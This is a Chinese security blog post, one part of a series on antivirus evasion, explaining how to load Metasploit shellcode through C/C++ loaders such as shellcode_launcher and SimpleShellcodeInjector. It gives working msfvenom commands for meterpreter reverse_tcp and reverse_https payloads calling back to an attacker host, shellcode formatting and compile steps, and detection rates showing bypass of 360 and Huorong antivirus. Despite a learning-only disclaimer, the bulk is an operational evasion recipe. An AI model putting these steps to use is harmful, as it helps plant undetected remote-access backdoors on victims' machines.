远控免杀专题(28)-C、C++加载shellcode免杀(下)
2020-03-03 18:00:00 Author: mp.weixin.qq.com(查看原文) 阅读量:119 收藏

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 

本文目录:(由于内容较多篇幅较长,分成了上中下三篇文章):

一、C/C++加载shellcode免杀介绍

二、C/C++源码编译

    2.1 方法1:指针执行(VT免杀率23/71)

    2.2 方法2:申请动态内存加载(VT免杀率24/71)

    2.3 方法3:嵌入汇编加载(VT免杀率12/71)

    2.4 方法4:强制类型转换(VT免杀率9/70)

    2.5 方法5:汇编花指令(VT免杀率12/69)

    2.6 方法6:XOR加密(VT免杀率15/71)

    2.7 方法7:base64加密法1(VT免杀率28/69)

    2.8 方法8:base64加密法2(VT免杀率28/69)

    2.9 方法9:python变形shellcode+汇编代码(VT免杀率8/70)

    2.10 方法10:python+xor处理(VT免杀率15/69)

三、使用shellcode加载器

    3.1 使用shellcode_launcher(VT免杀率3/71)

    3.2 使用SSI加载(VT免杀率6/69)

四、参考资料

免杀能力一览表

几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。


一、C/C++加载shellcode免杀介绍

在此之前对各种常见免杀工具进行了介绍,也可以从中了解很多免杀工具的原理,很多都是使用msfvenom生成shellcode,然后对shellcode进行混淆、编码等各种处理,最终再使用各种语言进行编译或加载。而被用到的最多的语言就是C/C++、C#和python。

这里我们介绍一下C/C++加载shellcode手工编译的方法,一般分为两种方式:

1、C/C++源码+shellcode直接编译,其中对shellcode的执行可以使用函数指针执行、汇编指令执行、申请动态内存等方式,且shellcode可进行一些加密混淆处理;比如免杀工具veil和Venom都是使用了类似的方法。

2、使用加载器加载C/C++代码,如shellcode_launcher之类。

二、使用shellcode加载器

3.1 使用shellcode_launcher(VT免杀率3/71)

shellcode加载器中效果最好使用较多的就是shellcode_launcher了。

https://github.com/clinicallyinane/shellcode_launcher/

使用非常简单,克隆到本地git clone https://github.com/clinicallyinane/shellcode_launcher/

其中的文件shellcode_launcher.exe就是要用到的加载器。

还是先用Msfvenom生成raw格式的shellcode

 msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333  -f raw -o shellcode.raw

在测试机器上执行,杀软均无反应

shellcode_launcher.exe -i shellcode.raw

msf中可正常上线

virustotal.com上shellcode.raw查杀率为1/57

virustotal.com上shellcode_launcher.exe查杀率为3/71

3.2 使用SSI加载(VT免杀率6/69)

这里需要使用的加载器https://github.com/DimopoulosElias/SimpleShellcodeInjector

先用msfvenom生成基于c语言的shellcode

msfvenom -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f c -o msf.txt

然后执行下面命令,会得到一串16进制字符串

cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"

然后在SimpleShellcodeInjector文件中,找到文件SimpleShellcodeInjector.c。使用命令i686-w64-mingw32-gcc SimpleShellcodeInjector.c -o ssi.exe编译生成ssi.exe。

如果没有安装i686-w64-mingw32-gcc,可在这里下载https://github.com/TideSec/BypassAntiVirus/tree/master/tools

其实在SimpleShellcodeInjector\OLDBinary文件中也有个ssi.exe,这是作者给编译好的,不过不建议使用,因为这个ssi.exe已经能被很多杀软查杀,最好就是使用上面的命令自己编译一个。

使用编译生成的ssi.exe,参数为上面的16进制字符串,执行shellcode。360和火绒的静态+动态查杀都可bypass。

msf可正常上线

virustotal.com上ssi.exe查杀率为6/69

三、参考资料

Meterpreter免杀总结:https://carlstar.club/2019/01/04/dig/

shellcode加载总结:https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html

浅谈meterpreter免杀:https://www.jianshu.com/p/9d2790f6c8aa

E

N

D

guān

zhù

men

Tide安全团队正式成立于2019年1月是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以关注关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247485737&idx=3&sn=c94dcc486f69ee7505866ce2b6d0ac3a&chksm=ce5e2b48f929a25e508563078b185c7e36feec27c68fb1e7a397972477b21fbd25d343cbe03e#rd
如有侵权请联系:admin#unsafe.sh